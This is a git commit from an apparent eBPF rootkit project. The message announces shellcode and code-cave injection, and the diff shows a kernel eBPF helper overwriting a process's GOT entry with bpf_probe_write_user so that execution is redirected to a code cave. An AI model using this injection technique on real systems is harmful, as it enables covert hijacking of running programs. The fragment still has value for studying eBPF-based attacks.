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Introduced shellcode and finished code cave writing and injection. RELRO working

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h3xduck
2022-04-07 11:54:24 -04:00
parent 3455b80010
commit be5605db5f
9 changed files with 3241 additions and 3124 deletions
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2
src/ebpf/include/bpf/injection.h
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@@ -164,7 +164,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
bpf_probe_read_user(&got_addr, sizeof(__u64), j_addr);
bpf_printk("GOT_ADDR: %lx\n",got_addr);
__u64 buf = CODE_CAVE_ADDRESS;
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
bpf_printk("Now writing to J_ADDR %lx\n", j_addr);
if(bpf_probe_write_user(j_addr, &buf, sizeof(__u64))<0){
//Should not work if RELRO active